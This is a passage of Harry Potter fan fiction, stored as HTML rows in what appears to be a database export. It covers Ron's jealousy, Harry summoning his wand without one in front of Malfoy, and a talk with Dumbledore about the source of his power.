&#8216;Huh best friends.&#8217; He \nthought bitterly. &#8216;If they were my best friends, they wouldn&#8217;t have done that to \nme. They both have everything I ever wanted. Top students, famous, \nPrefects&#8230;..Harry has even Hermione, the girl that I wanted most. I see the way \nshe looks at him.&#8217; He thought. He missed them. But on the contrary, he knew that \nit was not their fault what they were. But still, he felt completely left out \nbetween his two famous friends. They both were beloved by teachers, of course \nSnape not included. And he, the poor penny-less Ron Weasley with old robes and \nthings, loved by none. Although he knew his <i>friends </i>loved him, but he was \ntoo stubborn to admit it.</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp;&nbsp; He sat \naway from Harry and Hermione. He made sure that they weren&#8217;t able to see him. He \ndidn&#8217;t want to talk with them right now. He needed to think. He had shown that \nkind of behavior to keep them away from him for some time. </p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp;&nbsp; Despite \nRon&#8217;s try to hide, Hermione had seen him sit away from them purposely. She \nnudged Harry in the ribs. &#8220;Harry.&#8221; She whispered. &#8220;Ron.&#8221; </p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp;&nbsp; Harry \nlooked over to the place Hermione had just pointed. Ron was sitting there eating \nall by himself, deep in his thoughts. &#8220;So, what do I do?&#8221; Harry snapped.</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp;&nbsp; &#8220;Harry he \nis our friend. We should at least ask him the problem. Maybe it is not what we \nare thinking. Maybe it is something different, about some&#8230;..family problems.&#8221; \nHermione said, trying desperately to convince him. Although she knew it was not \nthat which had pulled Ron away from them.</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp;&nbsp; Harry \nwanted to believe her. He wanted to believe that it was not him that Ron was \nrunning from. That it was just a family problem and that Ron will be their \nfriend again. But he can&#8217;t deny the strange feelings he was getting. It was like \na sixth sense telling him that something was wrong. Harry tried to forget all \nthe intruding ideas set in his mind but he can&#8217;t. He desperately wanted Ron to \nbe his friend. He moved his head towards the teacher&#8217;s table at the sound.</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; All the \nstudents watched the teacher&#8217;s table where Professor Dumbledore had stood up to \nsay something. </p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; &#8220;If you \nall haven&#8217;t forgotten, I had announced on the starting of year feast, that the \nDueling classes will be given to you. Professor Moody has returned from his \nMinistry work, so, the lessons start from tomorrow. I want you all to take it \nseriously. Good Luck!&#8221; He said and sat down back on his seat.</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; Harry had \ntotally forgotten about the Dueling classes. He knew very well that it was to \nteach the students the perfect method of using their capabilities against their \nenemy. Harry was looking forward to the dueling classes. Although he feared that \nhe will be the center of attraction. He knew very well, that he will be. Like \nevery other DADA teacher, Professor Moody will also take keen interest in Harry \nand will use him for demonstrations. Harry hated this. He certainly hoped that \nProfessor Moody will choose someone&#8230;.anyone else besides him.</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; The pain \nin his scar had disappeared again. It was there when he had gone to Professor \nDumbledore&#8217;s Office and after his return. His scar had not hurt that long \nbefore. He guessed that pain lasted long because Voldemort was now technically \nalive and was in his own body. </p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;&nbsp; Harry was \nstill deep in his thoughts when Hermione shook him and nearly dragged him \ntowards the classroom. They had Potions first. It reminded Harry of the bravery \nand courage that Snape was showing for the school. Harry was not lying when he \nsaid that he was starting to respect Professor Snape. He had still not told \nanything to Hermione about his dream or his meeting with Professor Dumbledore \nand Professor Snape. He decided to tell her about the dream after the class.\n</p>\n<p class="MsoNormal" style="margin-left: 6.0pt">&nbsp;</p>\n<p class="MsoNormal">\n()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; The Potions class was not as it \nalways had been. It was very unusual as Professor Snape had not deducted any \npoints from Gryffindor at Harry&#8217;s account, although he got many opportunities. \nAll students were very surprised and confused but Harry knew that it because of \nthe previous night. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; All the other classes were usual. \nHarry was now sitting with Hermione in Great Hall to eat lunch. Almost all the \nstudents were there eating lunch. The hall was filled with whispers about the \nDueling classes. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Hermione I want to tell you \nsomething after the classes.&#8221; Harry said, finally. He had decided to tell her \nabout it. &#8220;Is it&#8230;. something about&#8230;&#8230;You-Know-Who?&#8221; She asked worriedly. &#8220;Yes. \nAnd how did you know that it is about Voldemort?&#8221; Harry asked. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;I saw that you were very worried \ntoday and then you decided to tell me about something. You were also sitting in \ncommon room when I arrived today and usually it is me who is the one to wake up \nfirst. All these things show that something unusual has happened. And certainly \nwho could be the cause of it except You-Know-Who.&#8221; She explained.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Yes you are right. I will tell you \nabout it after classes.&#8221; Harry said, still astonished at Hermione&#8217;s amazing \ndeduction. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;What are we going to do about Ron, \nHarry?&#8221; Hermione asked after a long silence. &#8220;What about him?&#8221; Harry asked \nsharply.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Harry he is our friend. Okay if you \ndon&#8217;t want to go talk to him I will go and make him understand.&#8221; Hermione said, \na bit angrily.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; She was annoyed of this drama or \nwhatever it was. She had decided to knock some sense into Ron&#8217;s thick skull. She \nknew that Ron was jealous. They had a fight on it at the train. But Ron hadn&#8217;t \naccepted it.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-align: center" align="center">\nJJJJJJJJJJJ</p>\n<p class="MsoNormal" style="text-align: center" align="center">\n&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; All the classes including DADA were \nbore. Professor Lupin had asked them to read an article on wandless magic in \nclass. In charms also they have done all the theoretical work. \nCare of Magical Creatures was of course a practical one, but \nit was what they didn&#8217;t appreciated very much. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Harry still didn&#8217;t wanted Hermione \nto meet Ron. &#8220;If he doesn&#8217;t cares for us, then why should we go to him? He \nshould come to us.&#8221; He had said. Hermione didn&#8217;t agree with him. &#8220;At least we \nshould know the problem.&#8221; She replied.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Ron came into the common room and \nwithout giving them a second glance, headed towards boy&#8217;s dorms.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Ron, wait!&#8221; Hermione called, moving \ntowards him.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; They both shared a few sentences, \nHarry couldn&#8217;t hear, and then disappeared through the portrait hole. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Harry sat on the same place, not \ntrying to move. He was not mad at Ron. But his ego didn&#8217;t allow him to go to Ron \nfirst. &#8216;I haven&#8217;t done anything. Why should I go and apologize for something I \nhaven&#8217;t done?&#8217; He thought.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; After half an hour, he saw Hermione \ncoming in from the portrait hole. She was positively fuming in rage. She took \nhis hand and dragged him out of the common room and then on to the school \ngrounds. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s the matter, Hermione?&#8221; Harry \nasked worriedly. &#8220;Is it something about Ron?&#8221;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Who Ron?&#8221; She snapped. &#8220;I don&#8217;t \nknow any Ron.&#8221;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;What happened, Hermione? I am \ntalking about our friend, Ron&#8230;.Ron Weasley.&#8221; Harry asked, badly confused.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Ex-friend would be better. And I \ndon&#8217;t want to hear his name again.&#8221; She said, cooling down.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;What happened? Did he say \nsomething? I have already told you not to go to him. He doesn&#8217;t want our company \nanymore.&#8221; Harry said. He was getting angry at Ron again for saying such things \nwhich had disturbed Hermione. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Leave it, Harry. I don&#8217;t want to \ntalk about him. Tell me what you wanted to say.&#8221; Hermione said, willing to \nchange the topic.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Harry felt her discomfort. &#8220;It is \nthat&#8230;..I had another&#8230;&#8230;nightmare&#8230;..about Voldemort.&#8221; Harry said, hesitating, that \nwhat Hermione would think about him. However, she took it seriously.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Oh, what was it about?&#8221; She said, \nconcerned. Harry told her everything about last night up to his meeting with \nProfessor Dumbledore and Professor Snape.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &nbsp;&#8220;So Professor Snape is spying at \nYou-Know-Who for Dumbledore? I have to admit, it is very courageous of him.&#8221;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Yeah. I also thought so. He is very \ncourageous and selfless for doing that.&#8221; Harry admitted.&nbsp;&nbsp; </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp; &nbsp;Hermione stared wide-eyed at Harry. \n&#8220;You&#8230;..think of Professor Snape as&#8230;.courageous and selfless?&#8221; Hermione asked, \nunbelievingly. Harry blushed. &#8220;Well yeah, he hates me, but he <i>is</i> a good \nman and it is his right to receive such complements.&#8221;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Come on. Let&#8217;s go to dinner.&#8221; \nHermione said after a long silence. They moved towards the Great Hall in \nsilence.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; After arriving at Great Hall, they \ntook their seats besides each other and started to eat. When they were about to \nfinish the dinner, Professor Moody appeared at the Gryffindor table. &#8216;Uh. We \nhaven&#8217;t even attended a class yet and he is already here.&#8217; Harry groaned in his \nmind.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Mr. Potter, I want to meet you in my \noffice after dinner. OK?&#8221; Moody asked. Harry nodded his head, cursing in his \nmind.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;OK. Enjoy your dinner.&#8221; He left.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-align: center" align="center">\nJJJJJJJJJ</p>\n<p class="MsoNormal" style="text-align: center" align="center">\n&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; Harry knocked at the door to \nProfessor Moody&#8217;s office. &#8220;Come in.&#8221; Came Moody&#8217;s growling voice.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Sit down.&#8221; He said, once Harry had \nentered the room. &#8220;You have any idea why I have called you here?&#8221; He enquired.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;No sir.&#8221; Harry replied.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;I&#8217;ve heard that you have learned the \nPatronus spell. And also, you were able to resist the Imperious curse. Is this \nall true?&#8221; Moody asked, keenly interested. Swallowing, Harry nodded.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;How were you able to do that?&#8221; He \ndemanded.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;I&#8230;I don&#8217;t know sir.&#8221; Harry replied \nslowly.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;The way you have mastered the \nPatronus spell, it looks that it is very easy and non-significant spell. \nHowever, I think you know its significance and importance. I just want to ask \nthat how were you able to learn it like it was a beginner&#8217;s spell?&#8221; Moody asked, \nscanning Harry&#8217;s face very carefully.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;I have told you already sir. I don&#8217;t \nknow.&#8221; Harry replied, in the same tone.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Hmmm&#8230;.OK, you can go now.&#8221; Moody \nmotioned towards the door, after a long and tense silence. Harry stood up and \nmoved towards the door. He had placed his hands on the door-knob when Moody&#8217;s \nvoice stopped him dead. &#8220;And I expect good from you in Dueling class, Mr. \nPotter. Go now!&#8221; </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; Harry was frustrated. &#8216;Not again.&#8217; He \nthought miserably. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; He had yet to go to his Animagus \nclass. He was already ten minutes late; Professor Lupin will be waiting for him.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-align: center" align="center">\nJJJJJJJJJ</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Harry, today we will only go through \nthe History of Animagi and precautions we should take between lessons.&#8221; \nProfessor Lupin said. &#8220;No practical today. First you should know enough about \nthe art of Animagi. And don&#8217;t be disappointed, we will do it in the next \nlesson.&#8221; </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-align: justify; text-justify: inter-ideograph">\n&nbsp;&nbsp; Harry was disappointed but he didn&#8217;t show it. The lesson \ncontinued for one and a half hour and Professor Lupin told Harry about every \nminute detail which was known about Animagi. When the lesson was over, Harry \nknew pretty much about Animagi. </p>\n<p class="MsoNormal" style="text-align: justify; text-justify: inter-ideograph">\n&nbsp;</p>\n<p class="MsoNormal" style="text-align: justify; text-justify: inter-ideograph">\n&nbsp;&nbsp; &#8220;Professor, can you tell me which animal can I transform \ninto?&#8221; Harry asked before leaving.</p>\n<p class="MsoNormal" style="text-align: justify; text-justify: inter-ideograph">\n&nbsp;</p>\n<p class="MsoNormal" style="text-align: justify; text-justify: inter-ideograph">\n&nbsp;&nbsp; &#8220;We&#8217;ll perform the spell on the next lesson Harry. It will \ntell you which animal you can transform into.&#8221; Professor smiled. &#8220;OK Harry, time \nto go to bed.&#8221;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; Harry entered the common room. It was \nempty. Harry, too, decided to go to his bed. He climbed the stairs to the boys&#8217; \ndorm and changed. He was very tired so the sleep soon over-took him.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-align: center" align="center">\nJJJJJJJJJ</p>\n<p class="MsoNormal" style="text-align: center" align="center">\n&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; The day was very boring. But on the \nother hand, Harry was very, very anxious to attend the Dueling lessons. He had, \nat first, dreaded the attention he would get, but eventually, he had accepted \nthe fact that he had get all the attention whatever should he do. He had decided \nthat no longer will he be shy or uncomfortable of any attention. Why should he \nbe?</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; They were now in charms classroom. \nProfessor Flitwick was on his usual place, on the table top, teaching students. \nHarry was listening intently to what he was teaching. This was his favorite \nclass besides Defense Against the Dark Arts. Professor Flitwick was a dueling \nchampion in his time. He was now teaching them a powerful charm called the \nWhirlwind Charm.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; When performed this charm, a \nwhirlwind surrounds the victim and lifts him up from the ground. The victim now \nmoves with the motion of the casters wand. The incantation of the spell was &#8220;<i>raisinium \nwindus</i>&#8221;.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; They have been studying it for two \nor three days. Today it was its first practical lesson and for Harry&#8217;s \nannoyance, he was the first one to perform the spell correctly. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Ah. Mr. Potter. I am not surprised \nthat you are the first one to perform it correctly. Anyways, well done Mr. \nPotter! Please help the other students as well.&#8221; Flitwick said.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; The remaining period was like a Hell \nfor Harry. He has to go to every student and see if they were doing right. When \nthe period was over Harry thanked the God. Next period was of Defense Against \nthe Dark Arts. So he headed towards the respective classroom.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Harry can&#8217;t wait to go to the DADA \nclass as Professor Lupin had told them; today would be their first practical \nlesson. Harry didn&#8217;t even care if he would get attention. He had decided to \nattempt it with all of his strength and do his best.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; After all the children were seated, \nProfessor Lupin entered the class. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;I am sure that you all will be very \nexcited today as in today&#8217;s lesson we&#8217;ll start our practice for wandless magic.&#8221; \nHe scanned the classroom. &#8220;Now what you all have to do is to place your wands in \nfront of you and try to summon it in your hands. Try to imagine that it is in \nyour hands and wish it. At first it would be very difficult for you but you will \nbe able to do that on your own after some time. Remember! You have to \nconcentrate hard. Now start!&#8221; He said to the class. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; Everybody immediately started to \nwork. Professor Lupin came by Harry&#8217;s side. &#8220;Hi Harry, Hermione. Why Ron is not \nwith you?&#8221; Harry and Hermione exchanged a worrying look. Professor Lupin saw \nthis and thought it better that not to enquire. &#8220;Harry, you have done it before \non your aunt. You know how to do it now?&#8221; He said. Hermione stared at him in \nconfusion. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wha&#8230;what? Harry has done this \nbefore?&#8221; She said.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t know? Yes he had once \nperformed it &#8216;accidentally&#8217; on his aunt when she abused his parents. He blew her \nup like a balloon.&#8221; He laughed at the last sentence. Hermione laughed too. Harry \njust smiled.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Professor I am sorry I don&#8217;t know \nhow to do it. But I promise you I&#8217;ll do my best.&#8221; He said with determination.</p>\n<p class="MsoNormal">&nbsp; </p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Go on Harry. Wish you best luck!&#8221; \nProfessor said with pride evident in his voice and left.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;Harry you never told us that you \nare able to do wandless magic.&#8221; She said.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp; &#8220;I am not. And&#8230;&#8221; Harry tried to \nclean his position but was being cut by a mocking voice which, no doubt, \nbelonged to Malfoy.</p>\n<p class="MsoNormal">&nbsp; </p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Hmmm&#8230;..what do we have here? Potter, \nGranger. Where is Weasel? Has he left the adorable and famous trio? How \nsad&#8230;tsk...tsk&#8230;.tsk. Maybe he has realized that it is not the right place for \nhim. Huh?&#8221; Malfoy said in a fake sad voice. Crabbe and Goyle were right behind \nhis both sides.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Sod&#8230;off&#8230;Malfoy.&#8221; Harry said through \ngritted teeth. He was already very angry at Ron breaking off their friendship \nevery time he wanted and now hearing it from Malfoy&#8217;s mouth, it had made him \noutrageous. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Oh. So, our little Potty is angry at \nhis friend&#8230;.or me.&#8221; Malfoy teased. Crabbe and Goyle laughed again.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;I am warning you for the last time. \nGo away NOW!&#8221; Harry shouted at last part.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;Hey cool down Potter. Don&#8217;t shout&#8230;.&#8221; \nMalfoy said, raising his hands in a soothing manner. &#8220;You are behaving like Ron, \ndon&#8217;t you? Hold yourself.&#8221;</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; &#8220;You blasted git! I&#8217;ll show you.&#8221; \nHarry said through his gritted teeth. He was boiling with anger. His all \nthinking had stopped. He was away from using his brain. He hadn&#8217;t realized that \nhe was standing in a class and a teacher was standing there at the moment and he \ncould be expelled for fighting with another student. </p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal">&nbsp;&nbsp; He stretched out his hand for his \nwand. He wished with all his might that the wand would come in his hand. He \nimagined with all his concentration that his wand is coming to him&#8230;flying. Then \nsuddenly a strange thing happened which was noticed by all who were present. A \nsudden movement was noticed in the wand. All students gasped. The movement in \nthe wand became more evident. Then suddenly the wand came flying into Harry&#8217;s \nout-stretched hand.</p>\n<p class="MsoNormal">&nbsp;</p>\n<p class="MsoNormal" style="text-align: center" align="center">\nJJJJJJJJJ</p>\n<p class="MsoNormal" style="text-align: center" align="center">\n&nbsp;</p>\n<p class="MsoNormal">A.N: Sorry, if it took too long. But \nthis chapter is about double of the others. So please pardon me. I&#8217;ll try to \nupdate again soon. J\n</p>\n\n\n\n\n'),
	(193, 8, ' <p> &#8220;Harry Potter and the Knowledge of Ancient Magic&#8221;<br>\n\n\n<br>\n Summary: The-boy-who-lived is being subjected to various changes that would one day change the fate of Wizarding World. However, petty teenager conflicts can harm the greatest of minds and Harry finds out that in the age of Mass Freedom, his best friend is still very conservative. My version of Harry&#8217;s 5th year at Hogwarts. Animagus training, New powers, and a bit of H/Hr.<br>\n\n\n<br>\n Rating: PG<br>\n\n\n<br>\n Professor Lupin was standing by Neville, trying unsuccessfully to help him, when he heard Harry&#8217;s yell. He turned to see Harry staring furiously at Malfoy. &#8216;Oh, that boy is a menace. Just like his father. I have to do something about him.&#8217; He thought. &#8216;Let&#8217;s see what problem he has caused now!&#8217;<br>\n\n\n<br>\n He moved towards the crowd of students which had gathered around Harry and Malfoy. He started advancing through the crowd, struggling all time to get to the center.<br>\n\n\n<br>\n When he finally managed to get there, he saw the most unbelievable scene of his life. Harry was standing in front of Malfoy, threatening to hex him. The next minute he stretched out his hand and his wand&#8230;.it came to him, flying. &#8216;What?!&#8221; He thought. He rubbed his eyes once, then twice. He could still see Harry standing there with his wand in his hands, looking perplexed.<br>\n\n\n<br>\n He quickly made his way to Harry. The crowd was stunned for a moment. Then without warning, whispers broke out all around students.<br>\n\n\n<br>\n &#8220;I knew if someone could do that, it would surely be Harry Potter.&#8221; He heard some student saying that to his fellow.<br>\n\n\n<br>\n &#8220;Potter! Never fails to make a show of himself.&#8221; This was a Slytherin.<br>\n\n\n<br>\n Lupin reached Harry and slowly petted his shoulder.<br>\n\n\n<br>\n &#8220;Professor!&#8221; He cried. &#8220;H-how?&#8221;<br>\n\n\n<br>\n &#8220;It will be explained to you. Come on we have to go somewhere.&#8221; He whispered. &#8220;Class wait here.&#8221;<br>\n\n\n<br>\n Harry moved out of the classroom with Professor Lupin besides him. He had told Hermione to meet him afterwards in the common room.<br>\n\n\n<br>\n Lupin was leading the way to Harry.<br>\n\n\n<br>\n &#8220;Are we going to Professor Dumbledore?&#8221; Harry asked.<br>\n\n\n<br>\n &#8220;Yes Harry.&#8221; He replied briefly.<br>\n\n\n<br>\n Harry said nothing more throughout their way to the gargoyle.<br>\n\n\n<br>\n &#8220;Voldemort&#8221; Lupin said after they had reached the gargoyle protecting the Headmaster&#8217;s Office. It quickly jumped aside.<br>\n\n\n<br>\n Lupin raised his hand to knock on the door. &#8220;Move in.&#8221; Professor Dumbledore&#8217;s voice said in reply to the knock.<br>\n\n\n<br>\n They moved in and settled in the chairs, in front of the table.<br>\n\n\n<br>\n &#8220;Yes Remus. Now what Harry has done?&#8221; The Headmaster asked almost clumsily.<br>\n\n\n<br>\n &#8220;Professor&#8230;Harry has just performed a little bit of&#8230; show I thought you would like to know about. So I thought I should inform you.&#8221; Lupin replied.<br>\n\n\n<br>\n &#8220;Ok Remus. Can you leave me and Harry alone?&#8221; Professor Dumbledore asked politely.<br>\n\n\n<br>\n Professor Lupin, without uttering another word, left the office of the Headmaster. Professor Dumbledore now turned to Harry.<br>\n\n\n<br>\n &#8220;Harry, tell me what happened.&#8221; The Headmaster asked.<br>\n\n\n<br>\n Harry shifted uncomfortably in his chair. &#8220;I-I don&#8217;t really know what happened actually.&#8221;<br>\n\n\n<br>\n Professor Dumbledore smiled slightly. &#8220;Then tell me what you think happened.&#8221;<br>\n\n\n<br>\n &#8220;It is that Malfoy&#8230;Draco Malfoy said some things which&#8230;which made me angry and I&#8230;well I threatened to hex him,&#8221; Harry looked down as if in shame, but Dumbledore told him to go on. &#8220;He wouldn&#8217;t listen and&#8230;and I sort of wished my wand to be in my hand and&#8230;and then it came to me all by itself.<br>\n\n\n<br>\n &#8220;Do tell me Harry, what were you feeling when it all happened?&#8221; He asked, leaning forward towards Harry.<br>\n\n\n<br>\n &#8220;Anger&#8230;I was feeling extremely angry at Malfoy. He said those things about&#8230;&#8221; Harry tried to justify himself but Dumbledore interrupted him.<br>\n\n\n<br>\n &#8220;I don&#8217;t want to listen about your disagreements with Mr. Malfoy.&#8221; Dumbledore interrupted. &#8220;So, you were feeling angry&#8230;I suspected that much.&#8221;<br>\n\n\n<br>\n &#8220;It is your anger which brings magic out of you, Harry. However it depends on the power and intensity of magic in your body for it to have an effect on something.&#8221; Dumbledore said.<br>\n\n\n<br>\n &#8220;You mean every one can do that when he or she is pissed off?&#8221; Harry asked hopefully.<br>\n\n\n<br>\n &#8220;Harry it is magic which comes off of you when you are very, very angry. As I said, it depends on the power and amount of magic in your body for it to have an effect on something&#8221;.<br>\n\n\n<br>\n &#8220;Listen Harry, you have to take it seriously. You have power, don&#8217;t run from it. Use it against evil. Today Wizarding World in is a great danger due to the Dark Lord&#8217;s return. You can defeat him, only you. And I have faith on you.&#8221;<br>\n\n\n<br>\n &#8220;Professor, why don&#8217;t you try to kill him? You are the greatest wizard of the world and also most powerful. Surely he can&#8217;t defeat you. You have triumphed over Grindelwald, and you will do the same here.&#8221;<br>\n\n\n<br>\n &#8220;I am sorry Harry. Voldemort is in a much better state than I am. I have the responsibility of whole Hogwarts castle upon me. Also I was much younger when I defeated Grindelwald. I am very old and much weaker now. My true age is hidden with a disguise spell. I am atleast 250 years old Harry. And it&#8217;s not much recommended age to fight a powerful Dark Lord.&#8221; Dumbledore said, cheering a bit at his last sentence.<br>\n\n\n<br>\n &#8220;You are 250 years old!&#8221; Harry was shocked. Sure he knew that Dumbledore was very old but 250 years! No human can live that long unless&#8230;<br>\n\n\n<br>\n &#8220;Yes Harry, Nicholas Flamel&#8230;&#8230;He borrowed me some of the Elixir of Life he made, in the first dark ages to stop Voldemort. We were only able to keep Voldemort out of Hogwarts because of the protection charms around school which were placed by Godric Gryffindor, Rowena Rawenclaw and Helga Hufflepuff to protect school from Salazar Slytherin. But we have heard from Severus that when you brought an end to those Dark times, Voldemort had almost succeeded in weakening these wards to invade the school. But his plans were cut short by you.&#8221;<br>\n\n\n<br>\n Harry was 